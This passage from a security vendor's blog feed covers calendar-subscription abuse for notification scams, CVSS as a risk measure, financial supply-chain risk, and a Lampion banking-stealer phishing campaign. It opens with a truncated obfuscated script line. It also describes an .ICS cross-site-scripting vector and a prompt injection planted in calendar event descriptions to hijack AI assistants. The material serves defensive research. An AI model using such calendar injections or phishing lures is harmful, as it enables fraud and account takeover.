_0x32cdab=_0x1ca2,_0x53bb1a=_0x37167e();while(!![]){try{var
_0x28d699=parseInt(_0x32cdab(0x1c6))..........

Urlscan.io

According to recent research on Balada by Pulsedive, this chain will check for user cookies if the user is currently logged in as admin, and if it is, it will attempt to run a particular script to install a malicious plugin for a backdoor. If it’s not, it will push the user to a notification scam. This is also something we observed, as seen in the snippet below.

Figure 12 - User cookie checks

This meant a big portion of the calendar request and notifications we were seeing were the result of this check, users visiting regular websites that had been compromised, and ended up being redirected to a notification scam due to not being admin users. But was this all? No.

APKs and PDFs

One last avenue from which the same threat actors would attempt to spread notification scams. Some domains that were pushing for notifications (e.g topwebsites1d[.]com), revealed APKs communicating to them and others had PDF files. Most of these domains were behind Cloudflare reverse proxy which made the hunting for additional domains a little harder, luckily we hit a DigitalOcean IP giving us over 200 domains and over 4,100 unique APKs associated with notification scams that contacted this IP.

Figure 13 - Virustotal related files

They all had the same behaviour. The PDFs would have a tiny.url link that would open a webpage into a redirection chain, similar to previous behaviour. These PDFs ranged from movie downloads, to car manuals, to a captcha itself. Below you can find some prints of this.

Figure 14 - Example of notification scam PDFs

Inevitably they would lead to the same conclusion, tricking the user into subscribing to push notifications.

Figure 15 - Tiny urls final hop shows a fake captcha

The APKs worked similarly, they were light, a few KB and pretended to be various games, such as “Genshin Impact” or “Plant vs Zombies”. Once the app was installed and ran, the app would hide itself and proceed to open the URL via WebView and the same redirection chain would occur. An interesting technique that would occasionally appear was refreshing the page behind to google[.]com but the pop up would persist in mobile.

Figure 16 - Example of notification scam APKs

These APKs had the embedded domain of 1downloadss0ftware[.]xyz/gogo/gotb/ in their resources which they would always attempt to contact, this single domain had over 11.000 unique APKs with this same behaviour.

A sense of scale

In a final effort to assess the scale of these operations, we leveraged an operational mistake by the actors: several domains shared the same SSL subject in their certificates. For example, certificates listed subjects like 0.allowandgo[.]com, 0.blueandbesthome[.]com, or 0.mo12[.]biz regardless of the actual domain. While not universal, this overlap enabled us to quickly map more than 50 IP addresses. These servers were not hosted behind Cloudflare but instead on providers such as DigitalOcean, Scaleway, and DataWeb Global Group B.V. Unlike larger providers, these hosts are less popular, and the vast majority of domains resolving to their IP addresses could be attributed to the notification scam network. By pivoting on SSL subject names, we were able to uncover more than 1,000 domains used for calendar and push subscription fraud. From these domains we managed to register 60 that seemed promising, adding another 500k daily IPs to our sinkhole.

We know this isn’t everything, considering we weren’t even accounting for domains on Cloudflare, Amazon or Google, but it definitely gave us a peek into the scale behind these operations. Joining this new data with previous, we identified over 1300+ domains, which didn’t even include initially compromised domains or middle redirection/hop domains.

Monetization

The benefits from spreading these networks, in some cases, are quite obvious, such as phishing attempts or malware delivery. More subtle cases might involve promoting a VPN that will also add your device as a proxy to their services, to which they will profit from using your device as a node for other customers.

But what about the “ad space itself”? To our surprise, there are actually services that sell exactly this. Take, for example, pushground, they will even show you how your promotion will appear on the user's device, both for push notifications and calendar events.

Figure 17 - Pushground selling calendar event space to promote a VPN

Even more remarkable is that they would use the example of “you may be exposed online, use a VPN to fix it”. This could easily be used by threat actors promoting residential proxies, so is there anything else to say here besides… guilty as charged? Sellers even write how “you” can profit from this newer form of ad space, naming it “iOS Push”. They even show what type of promotions work best for ROI value.

Figure 18 - Pushground best performing offers for this format

Of course, pushground isn’t the only one, here are two more examples: ezmob and richads. These services even discuss how this new format is better performing while simultaneously reaching “higher disposable income” victims (iCalendar users) - “Though this kind of advertising seems pretty aggressive, it is exactly what usually performs best with push traffic”.

It was clear now, the scale was big, the operations active, and the financial kickback was high enough to support all of this. Now that we uncovered the entry point of how users are tricked into subscribing as well as the monetization goal behind it, in this next chapter, we will be going deeper into the dangers a user could face once subscribed.

When trust becomes a risk

Finally, it is important to emphasize two critical points: the inherent difference between malicious calendar events and traditional phishing emails, and the risks a victim may face once compromised through a malicious calendar event.

Email vs. Calendar: A Critical Distinction

Unlike phishing emails, which most users have been taught to scrutinize, calendar events carry an implicit trust. They occur in a user’s calendar app, which they view as safe and less suspicious than an email.

Consider a scenario where a user is legitimately subscribed to the calendar of their favorite tech store. If that store’s subscription domain were to expire and fall into the hands of cybercriminals, the same events could continue to appear: “Exclusive Discounts” or “Black Friday Sale”. The difference now is that the links direct to phishing pages designed to harvest login credentials and banking information.

We are all aware of phishing emails… So much so that annual phishing awareness training has become mandatory in most organizations for their employees to complete. However, how many organizations warn employees about calendar events that can also be weaponized? The ecosystem around calendar security is underdeveloped: while there are countless email security solutions available, protections for calendar applications are rare. To the unsuspecting user, a malicious event may even appear as a pop-up reminder, blending seamlessly with legitimate system notifications.

With the acquisition of expired calendar domains, threat actors could potentially push malicious events to millions of devices overnight, with little to no effort. No need for carefully crafted emails, leaked email addresses, or worries about spam filters. The protocol itself guarantees delivery and threat actors can leverage an app that benefits from greater trust and less scrutiny. How many companies actively monitor, restrict, or block calendar subscriptions?

What’s at Stake for Victims?

Once a victim is convinced to interact, the consequences can be severe. Below you can see a visual representation of the operational overview of these networks, as well as the potential risks a victim might be faced with.

Figure 19 - Operational overview and potential risks

Some concepts might be unfamiliar to the reader, so here is a few references for more in-depth understanding:

These events may contain malicious URLs and/or attachments. A user may be deceived to click on one of these links or files, they may unwittingly download malware, install unwanted applications. The authors could also monetize by promoting other applications, recommending install of VPNs using the user’s device for residential proxies or fall victim to phishing campaigns. This risk is not only personal, but corporate too, infecting your machine with malware could enable lateral movement and facilitate a wider compromise of the company.

The rise of new attack vectors

As we move towards the end of this blogpost, we wanted to leave the reader with these next two sub-chapters, which highlight an increased attention / exploitation of calendars in the last 2 months, once again reinforcing calendars as an emerging powerful entry vector. Both of the presented cases, would require minimal to no user interaction to compromise and exfiltrate data. So we shouldn’t be quick to assume that “it will always require human interaction", now or in the future.

Open source suites: 0day .ICS attacks

So far we have mostly discussed iCalendar and Google Calendar, but there are a ton of other open source suites that include email, contacts, calendars, etc. While big-tech players can endlessly allocate resources to audits, sanitization and hardening every attack surface, open-source suites do not. A recent 0day in Zimbra (CVE-2025-27915) used against the Brazilian military is the perfect example, where javascript execution is reached and therefore compromises the victim without human interaction. A simple stored cross-site scripting (XSS) vulnerability, where an .ICS file containing javascript executes via an “on toggle” event inside the <details> tag. This vulnerability enables arbitrary javascript execution in the victims session, due to insufficient sanitization of the HTML content. This allows user creation, credential stealing, data exfiltration and more. Many open-source suites may suffer the same risk, due to the approach of wanting calendar events to be more customizable, which in turn means accepting HTML tags in the .ICS.

Regarding this portion of HTML tags, we believe Apple's iCalendar approach to be best, simply showing everything as text. It’s important to note that calendar events are a lesser known entry vector than emails at this stage and lack comparable protections, so we are likely to see further exploitation in the future.

Promptware / Prompt Injection via calendars

Emerging technologies are also expanding the threat landscape, which is the case with the recently disclosed method by Safebreach, where attackers embedded a Large Language Model (LLM) jailbreak within the description of calendar events. If a user were to ask their AI assistant (e.g., Gemini) to summarize upcoming events, the LLM would parse the calendar, trigger the crafted jailbreak, and potentially be exploited to perform malicious actions.

This technique, dubbed Promptware, demonstrates how new technologies can be chained with calendar subscriptions to create novel attack surfaces. In the SafeBreach case, the malicious event was introduced via a targeted Google Calendar invite, but the same concept could be scaled: if delivered through already subscribed devices, such events could reach at least 4 million of devices instantly. The implications extend beyond phones, any apps connected with AI assistants, potentially even apps related with home smart appliances. Noticeably google worked together with the researchers and released a new version of the model with significant improvements to prompt injection.

Recommendations on threat mitigation

From what we could gather, Mobile Device Management (MDM) solutions do not mention that they can block user-added calendar subscriptions in iPhones. It seems the reason lies with the MDM payload not having the capabilities to block user-added subscriptions or list already subscribed calendars if they were likewise user-added. The current payload com.apple.subscribedcalendar.account appears to only interact with subscriptions pushed via MDM. This represents an unaddressed problem to be tackled as more calendars become affected by these malicious campaigns, and as evidenced by our research, this issue has already reached a significant scale, affecting users in the millions. Having said this, below you will find a list of potential mitigation measures to be applied although we recognize this may not be feasible in many circumstances due to the limited scalability of these measures in medium-large organizations:

1. Review active subscriptions and block unfamiliar sources

Both users and companies should check the device’s calendar settings and remove all subscriptions that are not recognized or needed.

2. Treat calendar links like email links

As you wouldn’t click a suspicious email link, don’t click URLs or attachments inside unfamiliar calendar events. If a calendar subscription originates from a domain that looks unusual or unrelated to its claimed purpose, unsubscribe immediately.

3. Establish calendar subscriptions policies

Define whether employees are permitted to add third-party calendars to corporate devices.

4. Incorporate calendar threat into awareness training & stay ahead of threats

Update cybersecurity awareness programs to include malicious calendar events as attack vectors. Keep security teams updated on novel attack techniques, such as 0days and Promptware.

5. Block subscriptions at the firewall

Use a whitelist, that is only checked against when an .ics request is made, in order to block spam and unauthorized subscription to random calendars. Add ad-hoc domains to the whitelist as seen fit / upon request.

Again, it should be noted that these mitigations will definitely not fit everyone's circumstances, therefore, we as community and industry must push for improvements at the source.

Detecting hidden calendars subscriptions with Bitsight

Bitsight’s Insecure Systems risk vector assesses endpoints (which can be any computer, server, device, system, or appliance with internet access) that are communicating with an unintended destination. The software of these endpoints may be outdated, tampered, or misconfigured. A system is classified as “insecure” when these endpoints try to communicate with a web domain that doesn’t yet exist or isn’t registered to anyone. By identifying endpoints still communicating with unregistered or inactive infrastructure, Bitsight reveals where trusted assets have silently drifted into risk. These insights allow teams to isolate affected devices, cut off unsafe traffic, and prevent exposure from neglected or forgotten systems.

Bitsight’s Abandonware Findings Details:

Conclusion

Calendar subscriptions, seen as a convenient way to stay organized, represent a powerful but overlooked threat vector. Unlike email, they operate with little oversight, benefiting from built-in user trust, and can push events to millions of users with little effort.. Calendar events represent an effective attack surface, due to the current lacking awareness of its risks. Trusting your calendar feels familiar and routine to users, making them less suspicious and therefore further contributing to a powerful entry vector.

Our research shows that millions of devices sync daily with calendar servers weaponized by threat actors. The risks range from phishing and malware distribution to JavaScript execution and innovative attacks that exploit emerging technologies such as AI assistants.

Major platform providers like Apple and Google have made significant strides in securing their ecosystems. Our findings highlight areas where emerging risks, like calendar-based abuse, may not yet be fully addressed, despite strong security postures elsewhere.

Awareness and defenses of calendar subscriptions should be more robust, especially when compared to well-monitored and protected email solutions. The current imbalance creates a dangerous blind spot in both personal and corporate security postures.

CVSS Is a Little Bit of Risk: Rethinking CVSS in Vulnerability Prioritization

Eric Cisternelli — Tue, 18 Nov 2025 13:10:00 +0000

CVSS Is a Little Bit of Risk: Rethinking CVSS in Vulnerability Prioritization Eric Cisternelli Tue, 11/18/2025 - 08:10

The best part about my job is that I sometimes get to make some controversial statements. Well, as controversial as things can be in a niche area of cybersecurity like “what is a reasonable measure of vulnerability risk?” Along with my colleague Sander Vinberg we got to explore this question earlier this year at the second Annual VulnCon conference in Raleigh. Even though it’s only been held twice, it is quickly becoming one of my favorite conferences. It brings together a significant number of important voices in industry and government to really talk about where we’ve been, where we are going, and what obstacles might be in our way in the realm of vulnerability management.

The observant reader can guess what exactly my controversial statement about vulnerability risk is from the title: CVSS is one measure of risk, though a noisy one. This statement contradicts the official documentation of CVSS-B Measures Severity not Risk, and there is no lack of articles defending this view point and being generally critical of CVSS. I won’t adjudicate all the arguments here, but I’ll try to summarize.

Risk is better defined as the “possibility of a loss,” i.e. there is some adverse event that may happen with some probability. With respect to vulnerabilities specifically, this would ask: “if I have a particular vulnerability at my organization, what is the possibility of loss due to someone exploiting it?”

To measure risk we need information about the two mentioned quantities: (1) the likelihood of the adverse event, and (2) the impact, monetary or otherwise. The assertion is that CVSS (we’ll use v3 in this article, though any version would be applicable¹), whether in its vector form or as its aggregate score, does not directly measure either of these quantities (nor was it designed to)

The trouble with this way of thinking is that it assumes that a measure (a number or something ordinal) absolutely is or is not a measure of risk.² Rarely is any measure of anything in security (or physical reality) perfect, and there are subjective opinions, errors, bias, and just random noise. The question we should ask when assessing any measure, and CVSS specifically, is not “is this risk?” but rather “how correlated with risk is CVSS?” In this post I’m going to show it’s “a little bit of risk” and, better yet, how we combine it with other popular measures to improve vulnerability prioritization.

A brief intro to CVSSv3 metrics

Before we dive into assessing exactly whether CVSS measures risk, it’s worth a few hundred words to talk about exactly what composes CVSS v3 to gain some intuition about why it is in fact correlated with risk.

CVSSv3 has four metric groups: two that fall into the “Base” portion (Exploitability and Impact), one in the somewhat oddly named “Temporal” portion, and one in the “Environment Section.” We are going to skip those last two because they are generally not scored by those doing the scoring, and they tend to be specific to an organization (Environment) or change over time (Temporal). Here are the eight we are considering.

Exploitability Metrics
- Access Vector: What access does an attacker need?
  - Physical(P): Gotta be at the keyboard.
  - Local (L): On the same internal network as the vulnerable machine.
  - Adjacent (A): On a network that is connected to the network of the vulnerable machine.
  - Network (N): If it’s connected to the Internet, that’s all the attacker needs.
- Attack Complexity: How hard is this one to exploit?
  - Low(L): Nothing special required, if the attackers got the code, he just has to run it.
  - High (H): Maybe it doesn’t always “just work”, might require a race condition, or some other circumstances.
- Privileges Required: Does the attacker need the keys?
  - None(N): Nope
  - Required(R): Yep
- User Interaction: Does the user have to click something or download something or type something?
  - None(N): Nope
  - Required(R): Yep
- Scope: This one is a bit weird. It’s whether the vulnerability allows an attacker to move beyond the “security scope” of the vulnerable component. A canonical example would be a database vulnerability that allows an attacker access to the server it’s hosted on would result in Score:Changed. If the vulnerability just affects the database software itself (and the data within) it’s unchanged:
  - Changed(C): Attackers can move beyond the security scope to other components.
  - Unchanged (U): Attackers are stuck in the current scope.
Impact Metrics: The C/I/A Triad, ie, how borked is your data on the affected asset.
- Confidentiality: Attacker can access data they shouldn’t.
- Integrity: Attacker can destroy or alter data they shouldn’t be able to (though they may not be able to read the original).
- Availability: The attacker can deny access to the data, though maybe not alter or access it.

It doesn’t take much to imagine how the exploitability metrics might be correlated with the likelihood of a vulnerability being used in an attack. Network vulnerabilities mean attackers can operate at a distance, something more attractive than having to get local or physical access. Low access complexity with no interaction or privileges required means a higher likelihood of success when a vulnerable asset is found. Given this logic it would be unsurprising that vulnerabilities with particular CVSS would be more likely to have proof of concept code available or be used in ransomware attacks, both things directly implicated in the risk definition.

So far in 2025 there have been 40,547 MITRE published vulnerabilities, with 1,042 unique vectors. The top most common 150 of these vectors represent more than 90% of the vulnerabilities reported, so we’ll take a look at these in a complex visual (Figure 1). As an example we can move from the center (all vulns), straight down to Access Vector: Network (AV:N), proceeding to the left to Access Complexity: Low (AC:L), up and to the left to Privileges Required:None (PR:N), down and to the left to User Interaction:None (UI:N), back up to Scope:Unchanged (S:U), left to Confidentiality Impact:High (C:H), Integrity Impact: High (I:H), and Availability Impact:High (A:H), landing at the largest bubble indicating 3,468 vulns with that particular vector (score 9.8).

Figure 1 Starting at the center of the web and growing outward through each of the CVSS metrics to build up a vector. The branches are sized by the number of vulnerabilities with a particular subvector, and the leaf nodes are sized by how many vulnerabilities have that particular vector. Colors indicate the CVSSv3 base score.

Can CVSS predict risk?

Rather than rely on a theoretical argument, let’s put it to the test shall we? First let’s ask, “given a CVSS vector is it possible to predict the existence of exploit code?” To check this we take a pretty simple Data Science 101 approach:

Use CISA’s vulnrichment data that indicates PoC code as a 0 or 1 label.
Use the CVSS vector as input.
Using 5-fold cross validation fit a gradient boosted tree.
See if we have any predictive power using a ROC curve.

Turns out the answer is: yes, a little! Check out Figure 2! For those not well versed in reading these charts this is a Receiver Operator Characteristic Curve (ROC Curve). It’s a way to display the performance of a binary classification model. Simply, the more the pretty colored line is “up and to the left” the better the classifier³.

Figure 2 Receiver Operator Characteristic code for predicting Exploit Code using CVSS v3 vectors

Essentially, for whatever we pick as our classification threshold we can tune the accuracy or false positive rate and true positive rate. Here we have highlighted the point that gives us the best “F1 score,” but you could pick any threshold according to your risk appetite. Now, are we saying that this is actually some model you should actually use in vuln prioritization? Probably not, there are better models out there. Rather this demonstrates that the CVSS vector does correlate with risk and it's worth it to pay attention to those critical vulnerabilities from a risk perspective. In particular, if a CVE gets a CVSS score⁴, the score is often one of the earliest chunks of information available about a vulnerability.

Proof-of-Concept code is one thing, but what about actual exploitation? Using the same methodology, can we predict the use of a CVE in real world attacks, or further, whether those attacks were part of a ransomware campaign? There is no comprehensive set of data on this, but we can cobble one together from some publicly available ones:

CISA KEV: Famous. These are vulnerabilities Federal Agencies are required to fix in a specific time frame because there is evidence of exploitation attempts.
Bitsight Vulnerability Intelligence: The hot up and comer. Bitsight’s CTI capabilities are expanding and we have data on CVEs that APTs are actively exploiting and using in ransomware campaigns.
VulnCheck KEV: Private but free. Launched in February of 2024, VulnCheck has been publishing their own KEV list of vulns they have evidence of exploitation of, but haven’t quite made the cut for CISA.
Shadow Server: For the good of the Internet. The Shadow Server Foundation maintains a list of vulnerabilities that are publicly available.

Figure 3 Size and composition of various available KEV lists

This data is shown below, with special attention paid to whether each data source denotes the CVE has known usage in ransomware.

So let’s apply the same method above (Gradient Boosted Tree) to try to use these data sources to predict whether a vulnerability is going to have ransomware based solely on the CVSSv3 metric values, and see if we can. Results in Figure 4 below.

Figure 4 ROC curve for predicting ransomware with CVSSv3 vectors

A similar answer to proof of concept code, where this model would indeed do a not horrible job (a fair sight better than a coin flip) that a vulnerability is going to be used in a ransomware campaign in the future.

CVSS and Vulnerability Prioritization

Of course these basic models can’t hold a candle to models that take into account a great deal more data to more accurately predict vulnerability risk. I am of course referring to Bitsight’s Dynamic Vulnerability Exploit(DVE) Score and the open Explioit Prediction Scoring System (EPSS). Both of these systems strive to predict exploitation in the near future (DVE in the next 90 days, EPSS in the next 30), but cover different types of exploitation and use data collected from different sources. DVE strives to understand attackers using exploits based on data from the dark web, while EPSS uses vulnerability features and other data to predict the exploitation activity from a variety of network- or host-layer intrusion detection/prevention systems.

Like CVSS, both of these scoring systems are imperfect. A common complaint, despite their propensity for being right, is they will occasionally provide a low score for a vulnerability which is known to be exploited in the wild. This seems doubly galling when the vulnerability in question also has a CVSS score of 10.0. So this got me thinking: “Can we combine these measures in a methodologically principled way to come up with a useful prioritization strategy?⁴”

The answer is of course “yes”, as nearly every data challenge has been addressed in some way before. In particular, we draw on the idea of Consensus Ranking as a method of decision making where one tries to find an ordering of choices among various opinion havers that will make everyone the least upset. If we treat each of our scores (CVSS, DVE, EPSS, and some vuln intelligence on exploitation) as an opinion about the riskiness of a vulnerability, we can use a consensus ranking algorithm to come up with such a ranking of CVEs that is perhaps more likely to make folks happy. The result can be see in Figure 5 below.

Figure 5 Consensus Rank of CVEs that Bitsight tracks compared to other measurement systems.

What’s striking in Figure 5 is that we see a positive correlation for all measures, though weakest with CVSS and with some alluring multi-modal bands. Moreover, it shows some “blind spots” for each of the measures. High risk, known exploited vulnerabilities of various flavors (ransomware and apt) remain at the top of the consensus “worst”, but across some of these systems these would have disappointingly low scores. Moreover, there are some vulnerabilities that have rather high scores, but fall short on the consensus rank side, simply because other systems may not agree with the risk they pose.

Conclusion

What does this say about vulnerability risk? There are two lessons we’d like our intrepid reader to take away from this piece.

An exhortation not to think about measures as “this is a measure of risk, while this other thing is not.” Rather we should think about how much measures like CVSS (or EPSS or DVE or whatever) can tell us about risk and to what degree.
Do not be a measure zealot and do your best to see the whole field. All of these measures can give you new information about the vulnerability risk landscape, do not cling to any single one as the best, nor dismiss others because of their flaws.

For all our measurements, we are always dealing with noisy signals and collecting as much information about the particular context of a vuln is important. So when you hear about a CVSS Critical vulnerability, your ears should perk up and you should look into it if you know you have that particular software or device. Don’t take it as an absolute that you should panic, but rather as an indication that you should look into things further.

¹ Even just “picking a version of CVSS” is not quite simple, as there are often multiple scores from different folks rating a CVE. We’ll take the highest base value we see for any given CVE.
² It seems only Sith and security people deal in absolutes.
³ More complicatedly, the model outputs a value between 0 and 1 that a CVE has a Proof-of-Concept exploit. We can set a threshold (ɑ, shown as color) to say “everything below that value is not PoC everything above is” and ask how right we are. As we turn the value “up” (down and to the left from the upper right corner), we fail to correctly find CVEs that do have PoCs (True Positive rate goes down), but we also lower the False Positive rate.
⁴ And that is sometimes a big IF
⁵ And as a side benefit, I get to learn some weird methodology.
⁶ Since we’re predicting a value now we gotta tweak the xgboost algo a little but it’s essentially the same.

3 Truths About the Financial Sector’s Digital Supply Chain Uncovered by Bitsight TRACE

Eric Cisternelli — Thu, 06 Nov 2025 13:00:00 +0000

3 Truths About the Financial Sector’s Digital Supply Chain Uncovered by Bitsight TRACE Eric Cisternelli Thu, 11/06/2025 - 08:00

Audio Recap

When it comes to managing cyber risk, the financial sector is squarely at the top of the food chain. It’s simple economics (and the plot of many movies): financial institutions have the money, and cybercriminals are always looking for ways to take it. As a result, institutions have invested heavily in strengthening their internal systems and cybersecurity controls. Those investments have paid off. The industry continues to lead others in the maturity of its cyber risk management practices and the protection of its core infrastructure.

One of the larger and newer challenges that financial companies face is that “internal” systems represent only a portion of the sector’s total attack surface. In an ecosystem defined by digital-first financial products, expanding fintech ecosystems, and AI-driven outputs, the supply chain of technology providers grows continuously. Dubbed by many as the “SaaS proliferation” problem, each new connection, integration, and dependency adds another layer of potential exposure. This expanding web of third-party relationships is creating material, and often unseen/unmanaged, risk for individual institutions and for the financial sector as a whole.

To put it in the words of one of the strongest CISOs in the game today (on the SaaS model and Supply Chain Risk):

“SaaS has become the default and is often the only format in which software is now delivered, leaving organizations with little choice but to rely heavily on a small set of leading service providers, embedding concentration risk into global critical infrastructure. While this model delivers efficiency and rapid innovation, it simultaneously magnifies the impact of any weakness, outage, or breach, creating single points of failure with potentially catastrophic systemwide consequences.”
-Patrick Opet, “An open letter to third-party suppliers,” 2025

Using observable data to uncover supply chain risk in finance

So what does this mean for the companies that house the backbone of our financial system?

Bitsight TRACE's Ben Edwards recently conducted an in-depth analysis of the state of supply chain risk in finance today. The findings are clear: the web of dependencies supporting modern organizations is extraordinarily complex, and the financial sector is no exception. Within the dataset, more than 1.6M third-party technology relationships were identified. This vast digital supply chain fuels the operational speed and efficiency we’ve all (read, the markets) have become accustomed to. Systems to enable systems to enable systems, to drive profits at a record-setting pace.

Alongside the efficiencies come risks. Every vendor connection represents a potential point of exposure, collectively forming the true perimeter of today’s financial enterprise. Each provider adds a new layer of assumed trust that organizations must be willing to accept. Given the sheer number of these relationships, conducting diligence on every provider is nearly impossible without the help of specialized tools like Bitsight. The once well-defined network boundary has evolved into a dynamic, constantly shifting digital ecosystem, which represents the real digital footprint of modern finance.

Understanding this footprint is the first step toward managing it. The data also shows that most financial institutions see only a fraction of their full supplier ecosystem. Beneath this growing complexity, three critical truths about digital supply chain risk in finance begin to emerge.

1. Finance companies rely heavily on “hidden pillar” vendors unique to the industry.

When examining the top critical suppliers most common to financials, the well-known tech giants are all present. These are the obvious foundational vendors of tech architecture, such as Bloomberg L.P. Group, Microsoft, and Google. Open source providers also play a big role, including Python and JQuery, which is actually the number one supply chain provider in the critical list.

Interesting, but so what? These companies are the de facto standard when it comes to the technology supply chain.

Digging deeper into the data reveals a layer of vendors that do not often make the headlines but quietly hold up the financial world’s core infrastructure. When we compare overall market share against their presence in finance, a distinct pattern emerges.

Providers like Plaid, Murex, FactSet, Dow Jones & Company, and Fiserv sit at the center of this web, supplying the specialized tools, data, and connectivity that keep capital flowing. The picture becomes more interesting the further we look. Identity and access management providers such as CyberArk and Entrust also appear disproportionately critical to finance. This is not surprising, as few industries are as sensitive to authentication, authorization, and the control of digital identities. Protecting how money moves demands more than encryption; it demands trust in access.

From my perspective, a few unexpected names also surface in the data. General Dynamics, though primarily a defense contractor, plays a quiet but critical role in finance. Its expertise in maintaining and modernizing legacy mainframes running COBOL, many of which still handle core transaction systems, helps keep the global financial infrastructure stable and secure amid ongoing digital transformation.

These firms form the connective tissue of the modern financial system, often operating behind the scenes but essential to its stability and resilience.

2. Finance leads in monitoring, but most of its supply chain remains unobserved.

Unsurprisingly, the financial sector is the most diligent among all other industry verticals in monitoring its third-party relationships for cyber risk factors. Bitsight supplies nearly 600 financial companies with third-party risk management telemetry for more than 46,000 organizations with which these customers have relationships. Our data shows that these organizations monitor an average of 36.3% of their overall supply chain, compared to 24.6% monitored by organizations in other industry sectors. This is good relative to the others, but it does raise the point that the majority of the industry’s supply chain still remains mostly unwatched.

3. Unmonitored financial suppliers carry higher critical risk.

In the grand scheme of things, financial institutions are the most likely to have set up concise processes and criteria to decide which vendors get continuous monitoring. Even still, there’s more we can learn about how much risk slips through the cracks when big parts of the supply chain go unmonitored. Our analysis shows that these unmonitored suppliers tend to lag on basic security upkeep. They have 2.9 times more critical CVEs and 2.8 times more known exploited vulnerabilities (KEVs) than those under continuous watch.

As the financial sector continues to digitize and expand its network of technology partners, third-party risk will only grow in importance. The industry may be ahead of most when it comes to managing these relationships, but there is still work to do. Greater visibility into the full digital supply chain is not just good hygiene; it is essential to keeping the system resilient. To get the full report details, download the report here.

Exposed: Cyber Risk in the Financial Sector and Its Supply Chain

64% of the financial sector’s supply chain is unmonitored. That’s not a typo. Most financial firms don’t have visibility into two-thirds of their third-party ecosystem. And attackers know it.

Read report

From Brazil with Love: New Tactics from Lampion

Eric Cisternelli — Tue, 28 Oct 2025 12:10:00 +0000

From Brazil with Love: New Tactics from Lampion Eric Cisternelli Tue, 10/28/2025 - 08:10

Executive summary

This post will describe a long-running spam campaign from a Brazilian group known for using the Lampion stealer. We’ll detail the latest updates on the infection chain and its components, share previously undescribed indicators, and cover key takeaways, including:

The campaign has been ongoing for over a year.
Compromised emails are used to send emails.
Use of email attachments instead of links.
Use of cloud services as ephemeral infrastructure.
Use of ClickFix lures for initial compromise.
Updated Lampion Stealer

Introduction

During our research activities, we frequently come across different targeted campaigns, which can be carried out by Advanced Persistent Threats (APTs) targeting specific sectors or entities, or more generic threat actor groups whose targets are entire geographical zones or languages. By looking into how these campaigns are carried out, we’re able to identify indicators that can not only be shared with the community, but can also be used to correlate past and future campaigns, providing a better understanding on how the groups operate and how they interact with each other.

In this blog post, we’ll be describing a long-running spam campaign from a Brazilian group known for using the Lampion banking trojan, active since at least 2019. While previous research exists on the campaigns from using Lampion, this analysis details the latest updates on the infection chain and its components, providing previously undescribed indicators and insights into the threat actor's evolving tactics. We will explore the campaign's progression, including changes in initial compromise techniques and the multi-stage infection process. We found this threat to be significant, as our telemetry suggests the number of new daily infections to be in the several dozens and the active number of infections to be in the hundreds.

Technical analysis

In this section, we’ll detail the recent infection chain used to distribute the Lampion stealer, focusing on previously undescribed indicators and differences from previous works. The campaign we’ll analyze was initially identified at the beginning of 2025, but based on our research, it has been ongoing for an unknown period of time, with evidence showing that it was active since at least June 2024.

The threat actor’s objective with this campaign has remained identical to what has been reported before, with the main focus being on dropping a stealer named Lampion that targets Portuguese banks. The entire infection chain has been associated with the Lampion Trojan, although only the final component of the chain is the Lampion malware with stealer capabilities (and the dropper component is generic enough to be used as a dropper for any other malware). For this reason, we’ll use the name Lampion Stealer when specifically referencing the final malware dropped.

Infection chain

The group’s infection chain for dropping the stealer has remained similar to previous reports, with phishing emails used as the initial infection vector, followed by a multi-step chain of obfuscated Visual Basic scripts (VBS) that terminates by dropping a DLL into the target system. During our investigation we identified three time periods where the threat actors introduced changes, as shown in Fig. 1 below. The first change was around mid September 2024, where the TAs started using ZIP attachments instead of links to a ZIP; the second change was around mid December 2024 with the introduction of ClickFix lures as a new social engineering technique; the last change was at the end of June 2025, where persistence capabilities were added to the first stage.

Figure 1. Timeline with main observed events.

Before moving to each stage in detail, we provide below in Fig. 2 a diagram of the infection chain as we’ve observed it, which provides more context for the following subsections.

Figure 2. Infection chain diagram.

The analysis that is made next for each step of the infection chain focuses on a single sample that represents that step in the infection chain; we do not specify a hash for the analysis, but rather focus on the behavior of the observed samples at each step. Specific hashes are available in the IoCs section at the end of the article.

Phishing emails

The group behind the Lampion has used different email templates to distribute the stealer since it was initially described in 2019, with the focus on having the victim download a ZIP file that contains the first stage component of the infection chain.

Known topics for the content of the emails include issues with the filing of tax returns (2019), bank transfers receipts (2020), COVID-19 vaccination (2021), and more recently the re-use of bank transfer receipts (2023), which was also the topic we observed for the latest campaign, and is also mentioned by Unit 42. More specifically, we observed emails with the following subjects:

Portuguese	English
Comprovativo para verificação.	Proof for verification.
Envio de Comprovativo.	Proof of dispatch.
Envio o comprovativo de transferência.	Sending the transfer receipt.
Envio recibo eletrônico e os documentos.	Sending electronic receipt and documents.
Remeto comprovativo de transferência.	Submitting proof of transfer.
Remeto o comprovativo de pagamento.	Submitting the proof of payment.
Remeto o seu recibo eletrônico.	Submitting your electronic receipt.
Segue o comprovativo.	Proof follows.
Segue o comprovativo de pagamento.	Payment receipt follows.
Segue o comprovativo de transferência.	Transfer receipt follows.
Seguem o comprovativo de pagamento e os documentos.	Payment receipt and documents follow.
Seguem os documentos e o comprovativo de pagamento.	Documents and payment receipt follow.

The email subjects were prepended with a timestamp and document number, an example of a complete email subject follows:



Seguem os documentos e o comprovativo de pagamento.0X/0X/2025 10:XX:XX - documento N.º XXXXX

Below we can see an example of the contents of the emails, which is identical to what was reported by Unit 42:

Portuguese	English
Boa Tarde, junto envio em anexo o comprovativo de pagamento e o documento N.º XXXXX Por favor, não responda a este e-mail. Este endereço de e-mail é utilizado apenas para envio automático de mensagens. Aviso de confidencialidade: Esta mensagem pode conter informações confidenciais ou de uso restrito. Se não for o destinatário desta comunicação, por favor notifique imediatamente o remetente e proceda à destruição do conteúdo, não estando autorizado a divulgar, copiar ou utilizar as informações de forma alguma. O remetente não assume qualquer responsabilidade pela segurança da transmissão de dados.	Good afternoon, attached you will find the proof of payment and document No. XXXXX Please do not reply to this email. This email address is used only for automatic sending of messages. Confidentiality warning: This message may contain confidential or restricted-use information. If you are not the intended recipient of this communication, please notify the sender immediately and destroy the content. You are not authorized to disclose, copy, or use the information in any way. The sender does not assume any responsibility for the security of data transmission./p>

Portuguese

English

Boa Tarde, junto envio em anexo o comprovativo de pagamento e o documento N.º XXXXX

Por favor, não responda a este e-mail.

Este endereço de e-mail é utilizado apenas para envio automático de mensagens.

Aviso de confidencialidade:

Esta mensagem pode conter informações confidenciais ou de uso restrito.

